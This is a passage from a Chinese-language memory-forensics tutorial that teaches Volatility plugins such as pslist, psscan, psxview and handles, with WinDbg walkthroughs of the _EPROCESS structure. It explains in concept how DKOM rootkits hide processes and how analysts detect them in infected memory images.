INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s): Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
                    AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                    AS Layer2 : FileAddressSpace (Users/Test/Desktop/mem_image.raw)
                     PAE type : PAE
                          DTB : 0x185000L
                         KDBG : 0x82974be8L
         Number of Processors : 1
    Image Type (Service Pack) : 0
               KPCR for CPU 0 : 0x82975c00L
            KUSER_SHARED_DATA : 0xffdf0000L
          Image date and time : 2016-08-13 06:00:43 UTC+0000
    Image local date and time : 2016-08-13 11:30:43 +0530

大多数 Volatility 插件,如 pslist,依赖于从 Windows 操作系统结构中提取信息。这些结构在不同版本的 Windows 中有所不同;配置文件(--profile)告诉 Volatility 使用哪些数据结构、符号和算法。

前面提到的帮助选项 -h (--help) 显示适用于所有 Volatility 插件的帮助。你也可以使用相同的 -h (--help) 选项来确定插件支持的各种选项和参数。要做到这一点,只需在插件名称旁输入 -h (--help)。以下命令显示 pslist 插件的帮助选项:

$ python vol.py -f mem_image.raw --profile=Win7SP1x86 pslist -h

到此,你应该已经了解如何在获取的内存镜像上运行 Volatility 插件,以及如何确定插件支持的各种选项。在接下来的章节中,你将学习不同插件的使用方法,以及如何使用它们从内存镜像中提取取证数据。

4. 列举进程

当你在调查内存镜像时,你主要关注的是识别系统中是否有可疑的进程正在运行。Volatility 提供了多种插件,允许你枚举进程。Volatility 的 pslist 插件列出了来自内存镜像的进程,类似于 任务管理器 在实时系统上列出进程的方式。在以下输出中,运行 pslist 插件对一个被恶意软件(Perseus)感染的内存镜像进行分析,显示了两个可疑的进程:svchost..exe (pid 3832) 和 suchost..exe (pid 3924)。这两个进程之所以可疑,是因为它们的进程名称在 .exe 扩展名之前多了一个 字符(这不正常)。在一个干净的系统中,你会发现多个 svchost.exe 进程正在运行。通过创建 svchost..exesuchost..exe 这样的进程,攻击者试图通过让这些进程看起来与合法的 svchost.exe 进程相似来掩盖其身份:

$ python vol.py -f perseus.vmem --profile=Win7SP1x86 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name        PID  PPID  Thds Hnds Sess Wow64   Start 
---------- ----------- ---- ----- ---- ---- ---- ----- -------------------
0x84f4a8e8 System          4    0   88  475 ----   0   2016-09-23 09:21:47
0x8637b020 smss.exe      272    4    2   29 ----   0   2016-09-23 09:21:47
0x86c19310 csrss.exe     356  340    8  637    0   0   2016-09-23 09:21:49
0x86c13458 wininit.exe   396  340    3   75    0   0   2016-09-23 09:21:49
0x86e84a08 csrss.exe     404  388    9  191    1   0   2016-09-23 09:21:49
0x87684030 winlogon.exe  452  388    4  108    1   0   2016-09-23 09:21:49
0x86284228 services.exe  496  396   11  242    0   0   2016-09-23 09:21:49
0x876ab030 lsass.exe     504  396    9  737    0   0   2016-09-23 09:21:49
0x876d1a70 svchost.exe   620  496   12  353    0   0   2016-09-23 09:21:49
0x864d36a8 svchost.exe   708  496    6  302    0   0   2016-09-23 09:21:50
0x86b777c8 svchost.exe   760  496   24  570    0   0   2016-09-23 09:21:50
0x8772a030 svchost.exe   852  496   28  513    0   0   2016-09-23 09:21:50
0x87741030 svchost.exe   920  496   46 1054    0   0   2016-09-23 09:21:50
0x877ce3c0 spoolsv.exe  1272  496   15  338    0   0   2016-09-23 09:21:50
0x95a06a58 svchost.exe  1304  496   19  306    0   0   2016-09-23 09:21:50
0x8503f0e8 svchost..exe 3832 3712   11  303    0   0   2016-09-23 09:24:55
0x8508bb20 suchost..exe 3924 3832   11  252    0   0   2016-09-23 09:24:55
0x861d1030 svchost.exe  3120  496   12  311    0   0   2016-09-23 09:25:39

[......REMOVED..............]

运行 Volatility 插件很容易;你可以在不理解其工作原理的情况下运行插件。理解插件的工作原理将帮助你评估结果的准确性,也将帮助你在攻击者使用隐蔽技术时选择正确的插件。那么问题是,pslist 是如何工作的呢?要理解这一点,首先需要了解什么是进程,以及 Windows 内核 是如何跟踪进程的。

4.1 过程概述

进程 是一个对象。Windows 操作系统是基于对象的(不要与面向对象语言中使用的对象一词混淆)。对象指的是系统资源,例如进程、文件、设备、目录、突变体等,它们由内核中的一个组件——对象管理器 管理。为了了解 Windows 上所有的对象类型,你可以使用 WinObj 工具docs.microsoft.com/en-us/sysinternals/downloads/winobj)。要查看 WinObj 中的对象类型,作为管理员启动 WinObj,然后在左侧窗格中点击 ObjectTypes,这将显示所有 Windows 对象。

对象(如进程、文件、线程等)在 C 中表示为结构。 这意味着进程对象有一个与之关联的结构,该结构称为_EPROCESS结构。 _EPROCESS结构位于内核内存中,Windows 内核使用EPROCESS结构来内部表示一个进程。 _EPROCESS结构包含与进程相关的各种信息,例如进程的名称进程 ID父进程 ID与进程关联的线程数进程的创建时间等。 现在,返回到pslist输出,并注意为特定进程显示了什么类型的信息。 例如,如果查看pslist输出的第二个条目,它显示了smss.exe进程的名称,其进程 ID 为(272),父进程 ID 为4,等等。 正如您可能已经猜到的那样,与进程相关的信息来自其_EPROCESS结构。

4.1.1 检查 _EPROCESS 结构

要检查_EPROCESS结构及其包含的信息类型,您可以使用诸如WinDbg之类的内核调试器。 WinDbg有助于探索和理解操作系统数据结构,这通常是内存取证的重要方面。 要安装WinDbg,您需要安装"Windows 调试工具"包,该包作为Microsoft SDK的一部分(有关不同的安装类型,请参考docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index)。 安装完成后,您可以在安装目录中找到WinDbg.exe(在我的情况下,它位于C:\Program Files (x86)\Windows Kits\8.1\Debuggers\x64)。 接下来,从Sysinternalsdocs.microsoft.com/en-us/sysinternals/downloads/livekd)下载LiveKD实用程序,解压缩并将livekd.exe复制到WinDbg的安装目录中。 LiveKD使您能够在实时系统上执行本地内核调试。 要通过livekd启动WinDbg,打开命令提示符(作为管理员),导航到WinDbg 安装目录,并运行livekd-w开关,如下所示。 您还可以将Windbg安装目录添加到路径环境变量中,以便您可以从任何路径启动LiveKD

C:\Program Files (x86)\Windows Kits\8.1\Debuggers\x64>livekd -w

livekd -w命令会自动启动Windbg,加载符号,并为您提供一个准备接受命令的kd>提示符,如下面的屏幕截图所示。 要探索数据结构(如_EPROCESS),您将在命令提示符旁边键入适当的命令:

现在,回到我们对_EPROCESS结构的讨论,为了探索_EPROCESS结构,我们将使用Display Type命令(dt)dt命令可用于探索表示变量、结构或联合体的符号。在以下输出中,dt命令用于显示在nt模块(内核执行文件的名称)中定义的_EPROCESS结构。EPROCESS结构包含多个字段,存储进程的各种元数据。以下是 64 位 Windows 7 系统的示例(为了保持简洁,已删除部分字段):

kd> dt nt!_EPROCESS
   +0x000 Pcb : _KPROCESS
   +0x160 ProcessLock : _EX_PUSH_LOCK
   +0x168 CreateTime : _LARGE_INTEGER
   +0x170 ExitTime : _LARGE_INTEGER
   +0x178 RundownProtect : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId : Ptr64 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY
   +0x198 ProcessQuotaUsage : [2] Uint8B
   +0x1a8 ProcessQuotaPeak : [2] Uint8B
   [REMOVED]
   +0x200 ObjectTable : Ptr64 _HANDLE_TABLE
   +0x208 Token : _EX_FAST_REF
   +0x210 WorkingSetPage : Uint8B
   +0x218 AddressCreationLock : _EX_PUSH_LOCK
   [REMOVED]
   +0x290 InheritedFromUniqueProcessId : Ptr64 Void
   +0x298 LdtInformation : Ptr64 Void
   +0x2a0 Spare : Ptr64 Void
   [REMOVED]
   +0x2d8 Session : Ptr64 Void
   +0x2e0 ImageFileName : [15] UChar
   +0x2ef PriorityClass : UChar
   [REMOVED]

以下是我们将在本讨论中使用的_EPROCESS结构中一些有趣的字段:

  • CreateTime: 时间戳,指示进程首次启动的时间

  • ExitTime: 时间戳,指示进程退出的时间

  • UniqueProcessID: 一个整数,引用进程 ID(PID)的进程

  • ActiveProcessLinks: 一个双向链表,链接系统上所有正在运行的活动进程

  • InheritedFromUniqueProcessId: 一个整数,指定父进程的 PID

  • ImageFileName: 一个包含 16 个 ASCII 字符的数组,存储进程可执行文件的名称

了解如何检查_EPROCESS结构后,现在让我们来看看特定进程的_EPROCESS结构。为此,让我们首先使用WinDbg列出所有活动进程。您可以使用!process扩展命令打印特定进程或所有进程的元数据。在以下命令中,第一个参数0列出所有进程的元数据。您还可以通过指定_EPROCESS结构的地址来显示单个进程的信息。第二个参数表示详细程度:

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS fffffa806106cb30
    SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
    DirBase: 00187000 ObjectTable: fffff8a0000016d0 HandleCount: 539.
    Image: System

PROCESS fffffa8061d35700
    SessionId: none Cid: 00fc Peb: 7fffffdb000 ParentCid: 0004
    DirBase: 1faf16000 ObjectTable: fffff8a0002d26b0 HandleCount: 29.
    Image: smss.exe

PROCESS fffffa8062583b30
    SessionId: 0 Cid: 014c Peb: 7fffffdf000 ParentCid: 0144
    DirBase: 1efb70000 ObjectTable: fffff8a00af33ef0 HandleCount: 453.
    Image: csrss.exe

[REMOVED]

有关 WinDbg 命令的详细信息,请参考位于 WinDbg 安装文件夹中的 Debugger.chm 帮助。您还可以参考以下在线资源:windbg.info/doc/1-common-cmds.htmlwindbg.info/doc/2-windbg-a-z.html

从前面的输出中,让我们来看第二项,描述的是 smss.exe。在 PROCESS 旁边的地址 fffffa8061d35700 是与此 smss.exe 实例关联的 _EPROCESS 结构的地址。Cid 字段的值为 00fc(十进制为 252),即进程 ID,ParentCid 字段的值为 0004,表示父进程的进程 ID。你可以通过检查 smss.exe_EPROCESS 结构中的字段值来验证这一点。你可以在 Display Type (dt) 命令的后面加上 _EPROCESS 结构的地址,如下代码所示。在以下输出中,注意字段 UniqueProcessId(进程 ID)、InheritedFromUniqueProcessId(父进程 ID)和 ImageFileName(进程可执行文件名)的值。这些值与之前从 !process 0 0 命令中获得的结果相匹配:

kd> dt nt!_EPROCESS fffffa8061d35700
   +0x000 Pcb : _KPROCESS
   +0x160 ProcessLock : _EX_PUSH_LOCK
   +0x168 CreateTime : _LARGE_INTEGER 0x01d32dde`223f3e88
   +0x170 ExitTime : _LARGE_INTEGER 0x0
   +0x178 RundownProtect : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId : 0x00000000`000000fc Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`62583cb8 - 0xfffffa80`6106ccb8 ]
   +0x198 ProcessQuotaUsage : [2] 0x658
   [REMOVED]
   +0x290 InheritedFromUniqueProcessId : 0x00000000`00000004 Void
   +0x298 LdtInformation : (null) 
   [REMOVED]
   +0x2d8 Session : (null) 
   +0x2e0 ImageFileName : [15] "smss.exe"
   +0x2ef PriorityClass : 0x2 ''
   [REMOVED]

到目前为止,我们知道操作系统将所有关于进程的元数据保存在 _EPROCESS 结构中,该结构存在于内核内存中。这意味着,如果你能找到某个特定进程的 _EPROCESS 结构的地址,就能获取到关于该进程的所有信息。那么,问题是,如何获取系统中所有正在运行的进程的信息呢?为此,我们需要了解 Windows 操作系统是如何追踪活动进程的。

4.1.2 理解 ActiveProcessLinks

Windows 使用一个圆形双向链表来追踪所有活动的进程,每个节点都是一个 _EPROCESS 结构。_EPROCESS 结构中包含一个名为 ActiveProcessLinks 的字段,类型是 LIST_ENTRY_LIST_ENTRY 是另一种结构,包含两个成员,如下代码所示。Flink(正向链接)指向下一个 _EPROCESS 结构的 _LIST_ENTRY,而 Blink(反向链接)指向前一个 _EPROCESS 结构的 _LIST_ENTRY

kd> dt nt!_LIST_ENTRY
   +0x000 Flink : Ptr64 _LIST_ENTRY
   +0x008 Blink : Ptr64 _LIST_ENTRY

FlinkBlink 一起构成了一个进程对象链表,可以像下面这样可视化:

一个需要注意的点是,FlinkBlink 并不指向 _EPROCESS 结构的开始位置。Flink 指向下一个 _EPROCESS 结构的 _LIST_ENTRY 结构的起始位置(第一个字节),而 Blink 指向前一个 _EPROCESS 结构的 _LIST_ENTRY 结构的第一个字节。之所以重要,是因为一旦你找到了某个进程的 _EPROCESS 结构,你可以通过 Flink 向前(正向)遍历双向链表,或者通过 Blink 向后(反向)遍历链表,然后减去偏移量来获取下一个或上一个进程的 _EPROCESS 结构的开始位置。为了帮助你理解这意味着什么,我们来看一下 smss.exe_EPROCESS 结构中 FlinkBlink 字段的值:

kd> dt -b -v nt!_EPROCESS fffffa8061d35700
struct _EPROCESS, 135 elements, 0x4d0 bytes
.....
   +0x180 UniqueProcessId : 0x00000000`000000fc 
   +0x188 ActiveProcessLinks : struct _LIST_ENTRY, 2 elements, 0x10 bytes
 [ 0xfffffa80`62583cb8 - 0xfffffa80`6106ccb8 ]
      +0x000 Flink : 0xfffffa80`62583cb8 
      +0x008 Blink : 0xfffffa80`6106ccb8

Flink的值为0xfffffa8062583cb8;这是下一个_EPROCESS结构的ActiveProcessLinksFlink)的起始地址。由于在我们的示例中,ActiveProcessLinks位于_EPROCESS结构起始处的偏移量0x188,你可以通过从Flink值中减去0x188来到达下一个进程的_EPROCESS结构的起始位置。在以下输出中,注意通过减去0x188我们到达了下一个进程的_EPROCESS结构,即csrss.exe

kd> dt nt!_EPROCESS (0xfffffa8062583cb8-0x188)
   +0x000 Pcb : _KPROCESS
   +0x160 ProcessLock : _EX_PUSH_LOCK
   [REMOVED]
   +0x180 UniqueProcessId : 0x00000000`0000014c Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`625acb68 - 0xfffffa80`61d35888 ]
   +0x198 ProcessQuotaUsage : [2] 0x2c18
   [REMOVED]
   +0x288 Win32WindowStation : (null) 
   +0x290 InheritedFromUniqueProcessId : 0x00000000`00000144 Void
   [REMOVED]
   +0x2d8 Session : 0xfffff880`042ae000 Void
   +0x2e0 ImageFileName : [15] "csrss.exe"
   +0x2ef PriorityClass : 0x2 ''

如你所见,通过遍历双向链表,可以列出系统上所有正在运行的活动进程的信息。在实时系统中,像任务管理器Process Explorer这样的工具使用 API 函数,这些函数最终依赖于找到并遍历存在于内核内存中的同一个_EPROCESS结构的双向链表。pslist插件也包含了查找和遍历来自内存镜像的相同_EPROCESS结构双向链表的逻辑。为此,pslist插件找到一个名为_PsActiveProcessHead的符号,该符号定义在ntoskrnl.exe(或ntkrnlpa.exe)中。该符号指向_EPROCESS结构双向链表的起始位置;然后,pslist遍历_EPROCESS结构的双向链表来列出所有正在运行的进程。

有关本书中所涉及的 Volatility 插件的详细工作原理和逻辑,请参阅 Michael Hale Ligh、Andrew Case、Jamie Levy 和 Aaron Walters 的《内存取证艺术:检测 Windows、Linux 和 Mac 内存中的恶意软件和威胁》(The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory)。

如前所述,像pslist这样的插件支持多种选项和参数;通过在插件名称后输入-h (--help)可以显示这些选项。pslist的一个选项是--output-file。你可以使用此选项将pslist的输出重定向到文件,如下所示:

$ python vol.py -f perseus.vmem --profile=Win7SP1x86 pslist --output-file=pslist.txt

另一个选项是-p (--pid)。使用此选项,如果你知道某个进程的进程 IDPID),你可以获取该进程的信息:

$ python vol.py -f perseus.vmem --profile=Win7SP1x86 pslist -p 3832
Volatility Foundation Volatility Framework 2.6
Offset(V) Name          PID  PPID Thds Hnds Wow64 Start
---------- ------------ ---- ---- ---- ---- ----- -------------------
0x8503f0e8 svchost..exe 3832 3712  11   303   0   2016-09-23 09:24:55

4.2 使用 psscan 列出进程

psscan是另一个列出系统上运行进程的 Volatility 插件。与pslist不同,psscan并不遍历_EPROCESS对象的双向链表。相反,它扫描物理内存以查找进程对象的特征码。换句话说,psscan使用与pslist插件不同的方法来列出进程。你可能会想,当pslist插件也能做同样的事情时,为什么还需要psscan插件?答案就在于psscan使用的技术。由于它采用的方式,它可以检测已终止的进程和隐藏的进程。攻击者可以隐藏进程,从而防止取证分析师在实时取证过程中发现恶意进程。那么,问题是,攻击者如何隐藏一个进程呢?要理解这一点,你需要了解一种攻击技术,称为DKOM(直接内核对象操控)

4.2.1 直接内核对象操控(DKOM)

DKOM是一种涉及修改内核数据结构的技术。通过使用 DKOM,可以隐藏一个进程或驱动程序。为了隐藏一个进程,攻击者找到他/她想要隐藏的恶意进程的_EPROCESS结构,并修改ActiveProcessLinks字段。具体来说,前一个_EPROCESS块的Flink被指向下一个_EPROCESS块的Flink,而下一个_EPROCESS块的Blink则指向前一个_EPROCESS块的Flink。由于这一操作,恶意进程相关的_EPROCESS块被从双向链表中解除链接(如图所示):

通过解除链接一个进程,攻击者可以使恶意进程对依赖遍历双向链表来枚举活动进程的实时取证工具隐藏。如你所猜测的,这种技术同样会使恶意进程对pslist插件隐藏(该插件也依赖遍历双向链表)。以下是一个被prolaco rootkit 感染的系统的pslistpsscan输出,prolaco rootkit 通过执行DKOM来隐藏一个进程。为了简洁起见,以下输出中的一些条目已被截断。当你对比pslistpsscan的输出时,会注意到psscan输出中有一个额外的进程nvid.exepid 1700),但在pslist中并未出现:

$ python vol.py -f infected.vmem --profile=WinXPSP3x86 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name         PID  PPID Thds Hnds Sess Wow64  Start
--------- ------------- ---- ---- ---- ---- ---- ----- -------------------
0x819cc830 System          4    0 56   256  ----    0
0x814d8380 smss.exe      380    4  3    19  ----    0  2014-06-11 14:49:36
0x818a1868 csrss.exe     632  380 11   423     0    0  2014-06-11 14:49:36
0x813dc1a8 winlogon.exe  656  380 24   524     0    0  2014-06-11 14:49:37
0x81659020 services.exe  700  656 15   267     0    0  2014-06-11 14:49:37
0x81657910 lsass.exe     712  656 24   355     0    0  2014-06-11 14:49:37
0x813d7688 svchost.exe   884  700 21   199     0    0  2014-06-11 14:49:37
0x818f5d10 svchost.exe   964  700 10   235     0    0  2014-06-11 14:49:38
0x813cf5a0 svchost.exe  1052  700 84  1467     0    0  2014-06-11 14:49:38
0x8150b020 svchost.exe  1184  700 16   211     0    0  2014-06-11 14:49:40
0x81506c68 spoolsv.exe  1388  700 15   131     0    0  2014-06-11 14:49:40
0x81387710 explorer.exe 1456 1252 16   459     0    0  2014-06-11 14:49:55
$ python vol.py -f infected.vmem --profile=WinXPSP3x86 psscan
 Volatility Foundation Volatility Framework 2.6
 Offset(P)          Name         PID  PPID  PDB       Time created
 ------------------ ------------ ---- ---- ---------- -------------------
 0x0000000001587710 explorer.exe 1456 1252 0x08440260 2014-06-11 14:49:55
 0x00000000015cf5a0 svchost.exe  1052  700 0x08440120 2014-06-11 14:49:38
 0x00000000015d7688 svchost.exe   884  700 0x084400e0 2014-06-11 14:49:37
 0x00000000015dc1a8 winlogon.exe  656  380 0x08440060 2014-06-11 14:49:37
 0x00000000016ba360 nvid.exe     1700 1660 0x08440320 2014-10-17 09:16:10
 0x00000000016d8380 smss.exe      380    4 0x08440020 2014-06-11 14:49:36
 0x0000000001706c68 spoolsv.exe  1388  700 0x084401a0 2014-06-11 14:49:40
 0x000000000170b020 svchost.exe  1184  700 0x08440160 2014-06-11 14:49:40
 0x0000000001857910 lsass.exe     712  656 0x084400a0 2014-06-11 14:49:37
 0x0000000001859020 services.exe  700  656 0x08440080 2014-06-11 14:49:37
 0x0000000001aa1868 csrss.exe     632  380 0x08440040 2014-06-11 14:49:36
 0x0000000001af5d10 svchost.exe   964  700 0x08440100 2014-06-11 14:49:38
 0x0000000001bcc830 System          4    0 0x00319000

如前所述,psscan能够检测隐藏进程的原因在于它使用了不同的技术来列出进程,即池标签扫描

4.2.2 理解池标签扫描

如果你还记得,我之前提到过将进程、文件、线程等系统资源称为对象(或执行对象)。这些执行对象由内核中的一个组件——对象管理器来管理。每个执行对象都有一个与之相关的结构(如进程对象的_EPROCESS)。执行对象结构前面有一个_OBJECT_HEADER结构,包含有关对象类型的信息以及一些引用计数。_OBJECT_HEADER结构前面可能会有零个或多个可选头结构。换句话说,你可以将对象视为执行对象结构、对象头和可选头的组合,如下图所示:

存储对象需要内存,而这些内存由 Windows 内存管理器从内核池中分配。内核池是一个可以被分割成更小块的内存范围,用于存储诸如对象之类的数据。内核池被划分为分页池(其内容可以被交换到磁盘)和非分页池(其内容永久驻留在内存中)。对象(如进程和线程)被保存在内核的非分页池中,这意味着它们将始终驻留在物理内存中。

当 Windows 内核接收到创建对象的请求时(可能是由于进程调用了如CreateProcessCreateFile的 API),内存将被分配给该对象,可能来自分页池或非分页池(具体取决于对象类型)。这个分配通过在对象前面加上一个_POOL_HEADER结构来标记,以便在内存中,每个对象都会有一个可预测的结构,类似于下面的截图所示。_POOL_HEADER结构包含一个名为PoolTag的字段,存储一个四字节的标签(称为池标签)。这个池标签可以用来识别对象。对于进程对象,标签是Proc,对于文件对象,标签是File,依此类推。_POOL_HEADER结构还包含一些字段,告诉内存分配的大小以及它所描述的内存类型(分页池非分页池):

你可以将所有驻留在内核内存的非分页池中的进程对象(最终映射到物理内存)视为带有Proc标签的对象。正是这个标签,Volatility 的psscan使用它作为起点来识别进程对象。具体来说,它扫描物理内存中的Proc标签,以识别与进程对象相关联的池标签分配,并通过使用更强大的签名和启发式方法进一步确认。一旦psscan找到进程对象,它会从其_EPROCESS结构中提取必要的信息。psscan会重复这一过程,直到找到所有的进程对象。事实上,许多 Volatility 插件依赖于池标签扫描来识别并提取内存镜像中的信息。

psscan 插件不仅可以检测隐藏的进程,还能通过其使用的方法检测已终止的进程。当一个对象被销毁(例如当进程被终止时),包含该对象的内存分配会被释放回内核池,但内存中的内容不会立即被覆盖,这意味着进程对象仍然可能保留在内存中,除非该内存被分配用于其他用途。如果包含已终止进程对象的内存没有被覆盖,那么 psscan 可以检测到已终止的进程。

有关池标签扫描的详细信息,请参阅 Andreas Schuster 的论文《在 Microsoft Windows 内存转储中搜索进程和线程》或阅读书籍《记忆取证的艺术》。

此时,你应该已经了解了 Volatility 插件是如何工作的;大多数插件使用类似的逻辑。总的来说,关键信息存在于由内核维护的数据结构中。插件依赖于从这些数据结构中查找并提取信息。查找和提取取证信息的方法有所不同;有些插件依赖于遍历双向链表(例如 pslist),有些则使用池标签扫描技术(例如 psscan)来提取相关信息。

4.3 确定进程关系

在检查进程时,确定进程之间的父子关系是很有用的。在恶意软件调查过程中,这有助于你了解哪些其他进程与恶意进程相关联。pstree 插件通过使用 pslist 的输出并以树状视图格式化,显示父子进程关系。在以下示例中,运行 pstree 插件对感染的内存镜像进行分析,显示了进程关系;子进程向右缩进并以点号表示。通过输出,你可以看到 OUTLOOK.EXE 是由 explorer.exe 进程启动的。这是正常的,因为每当你通过双击启动一个应用程序时,启动该应用程序的正是资源管理器。OUTLOOK.EXE (pid 4068) 启动了 EXCEL.EXE (pid 1124),而后者又调用了 cmd.exe (pid 4056) 来执行恶意进程 doc6.exe (pid 2308)。通过查看这些事件,你可以推测用户打开了通过电子邮件发送的恶意 Excel 文档,该文档可能利用了一个漏洞或执行了宏代码,从而下载并通过 cmd.exe 执行了恶意软件。

$ python vol.py -f infected.raw --profile=Win7SP1x86 pstree
Volatility Foundation Volatility Framework 2.6
Name                      Pid  PPid Thds Hnds Time
------------------------ ---- ----- ---- ---- -------------------
[REMOVED]
0x86eb4780:explorer.exe   1608 1572  35   936 2016-05-11 12:15:10
. 0x86eef030:vmtoolsd.exe 1708 1608   5   160 2016-05-11 12:15:10
. 0x851ee2b8:OUTLOOK.EXE  4068 1608  17  1433 2018-04-15 02:14:23
.. 0x8580a3f0:EXCEL.EXE   1124 4068  11   377 2018-04-15 02:14:35
... 0x869d1030:cmd.exe    4056 1124   5   117 2018-04-15 02:14:41
.... 0x85b02d40:doc6.exe  2308 4056   1    50 2018-04-15 02:14:59

由于 pstree 插件依赖于 pslist 插件,因此无法列出隐藏或已终止的进程。另一种确定进程关系的方法是使用 psscan 插件生成父子关系的可视化表示。以下 psscan 命令以 dot 格式打印输出,然后可以使用图形可视化软件(如 Graphviz www.graphviz.org/XDot)打开(可以通过在 Linux 系统上运行 sudo apt install xdot 来安装 XDot):

$ python vol.py -f infected.vmem --profile=Win7SP1x86 psscan --output=dot --output-file=infected.dot

使用 XDot 打开 infected.dot 文件,显示之前讨论的进程之间的关系:

4.4 使用 psxview 列出进程

之前,你已经看到如何操控进程列表来隐藏进程;你还理解了 psscan 如何通过池标签扫描来检测隐藏的进程。事实证明,_POOL_HEADERpsscan 依赖的字段)仅用于调试目的,并不会影响操作系统的稳定性。这意味着攻击者可以安装一个内核驱动程序,运行在内核空间,并修改池标签或 _POOL_HEADER 中的任何其他字段。通过修改池标签,攻击者可以防止依赖 池标签扫描 的插件正常工作。换句话说,通过修改池标签,攻击者可以将进程从 psscan 中隐藏。为了解决这个问题,psxview 插件依赖于从不同来源提取进程信息。它通过七种不同的方式列举进程。通过比较来自不同来源的输出,可以检测到恶意软件引起的差异。在下面的截图中,psxview 使用七种不同的技术列出了进程。每个进程的信息以单独的行显示,使用的技术显示为包含 TrueFalse 的列。某一列下的 False 值表示该进程未通过相应方法找到。在以下输出中,psxview 使用所有方法检测到隐藏的进程 nvid.exepid 1700),除了 pslist 方法:

在前面的截图中,你会注意到一些进程显示为“假”值。例如,cmd.exe 进程除 psscan 方法外,在其他任何方法中都不存在。你可能会认为 cmd.exe 被隐藏了,但事实并非如此;你看到 False 的原因是 cmd.exe 已经终止(你可以从 ExitTime 列看出这一点)。因此,所有其他技术都未能找到它,而 psscan 方法能找到它,因为池标签扫描能够检测已终止的进程。换句话说,某一列中的 False 值并不一定意味着该进程对该方法是隐藏的;它也可能意味着这种情况是预期中的(取决于该方法如何以及从哪里获取进程信息)。要知道这是否是预期的,你可以使用 -R (--apply-rules) 选项,如下所示。在下面的截图中,注意 False 值是如何被替换为 Okay Okay 表示 False,但这是预期的行为。在使用 -R--apply-rules)运行 psxview 插件后,如果你仍然看到 False 值(例如以下截图中的 nvid.exepid 1700),那么这强烈表明该进程对该方法是隐藏的:

5. 列出进程句柄

在调查过程中,一旦锁定了一个恶意进程,你可能希望了解该进程正在访问哪些对象(如进程、文件、注册表项等)。这将帮助你了解与恶意软件相关的组件以及它们的操作方式。例如,一个键盘记录器可能正在访问一个日志文件以记录捕获的按键,或者恶意软件可能已经打开了一个配置文件的句柄。

要访问一个对象,进程首先需要通过调用 CreateFileCreateMutex 等 API 来打开该对象的句柄。一旦打开了对象的句柄,它就可以使用该句柄执行后续操作,如写入文件或读取文件。句柄是对象的间接引用;可以把句柄看作是代表一个对象的东西(句柄不是对象本身)。这些对象存在于内核内存中,而进程运行在用户空间中,因此进程无法直接访问对象,它通过使用句柄来代表该对象。

每个进程都有一个私有的句柄表,存储在内核内存中。这个表包含与进程相关联的所有内核对象,例如文件、进程和网络套接字。问题是,这个表是如何填充的?当内核接收到来自进程的请求以创建对象(通过如 CreateFile 等 API),该对象将在 内核内存 中创建。指向该对象的指针会放入进程句柄表中的第一个可用槽中,并将相应的索引值返回给进程。该索引值就是表示该对象的句柄,进程会使用该句柄执行后续操作。

在一个实时系统中,你可以使用 Process Hacker 工具检查特定进程访问的内核对象。为此,启动 Process Hacker 并以 管理员 身份运行,右键单击任意进程,然后选择 Handles 标签。以下截图显示了 csrss.exe 进程的进程句柄。csrss.exe 是一个合法的操作系统进程,参与每个进程和线程的创建。因此,你会看到 csrss.exe 打开了大多数进程(除了它自己和它的父进程)的句柄。以下截图中,第三列是 句柄值,第四列显示了 对象的地址 在内核内存中的位置。例如,第一个进程 wininit.exe 位于内核内存地址 0x8705c410(它的 _EPROCESS 结构的地址),表示该对象的句柄值是 0x60

psxview 插件使用的方法之一依赖于遍历 csrss.exe 进程的句柄表来识别进程对象。如果存在多个 csrss.exe 实例,psxview 将解析所有 csrss.exe 实例的句柄表,以列出正在运行的进程,除了 csrss.exe 进程及其父进程(smss.exesystem 进程)。

从内存镜像中,你可以通过 handles 插件获取所有被进程访问的内核对象的列表。以下截图展示了 pid 356 进程的句柄。如果你在没有 -p 选项的情况下运行 handles 插件,它将显示所有进程的句柄信息:

你还可以使用 -t 选项来过滤特定对象类型(如 FileKeyProcessMutant 等)的结果。在以下示例中,handles 插件被运行在一个感染了 Xtreme RAT 的内存镜像上。handles 插件被用来列出恶意进程(pid 1772)打开的互斥体。从以下输出中,你可以看到 Xtreme RAT 创建了一个名为 oZ694XMhk6yxgbTA0 的互斥体,以标记其在系统中的存在。像 Xtreme RAT 创建的这样的互斥体可以作为一个很好的主机基础指示器,用于主机基础监控:

$ python vol.py -f xrat.vmem --profile=Win7SP1x86 handles -p 1772 -t Mutant
Volatility Foundation Volatility Framework 2.6
Offset(V)  Pid  Handle Access   Type    Details
---------- ---- ------ -------- ------ -----------------------------  
0x86f0a450 1772 0x104  0x1f0001 Mutant oZ694XMhk6yxgbTA0
0x86f3ca58 1772 0x208  0x1f0001 Mutant _!MSFTHISTORY!_
0x863ef410 1772 0x280  0x1f0001 Mutant WininetStartupMutex
0x86d50ca8 1772 0x29c  0x1f0001 Mutant WininetConnectionMutex
0x8510b8f0 1772 0x2a0  0x1f0001 Mutant WininetProxyRegistryMutex
0x861e1720 1772 0x2a8  0x100000 Mutant RasPbFile
0x86eec520 1772 0x364  0x1f0001 Mutant ZonesCounterMutex
0x86eedb18 1772 0x374  0x1f0001 Mutant ZoneAttributeCacheCounterMutex

在以下的内存镜像示例中,感染了TDL3 rootkitsvchost.exe进程(pid 880)打开了恶意 DLL 文件和与 rootkit 相关的内核驱动程序的文件句柄:

$ python vol.py -f tdl3.vmem handles -p 880 -t File
Volatility Foundation Volatility Framework 2.6
Offset(V)  Pid Handle Access   Type  Details
---------- --- ------ -------- ---- ----------------------------
0x89406028 880 0x50   0x100001 File  \Device\KsecDD
0x895fdd18 880 0x100  0x100000 File  \Device\Dfs
[REMOVED]
0x8927b9b8 880 0x344  0x120089 File [REMOVED]\system32\TDSSoiqh.dll
0x89285ef8 880 0x34c  0x120089 File [REMOVED]\system32\drivers\TDSSpqxt.sys

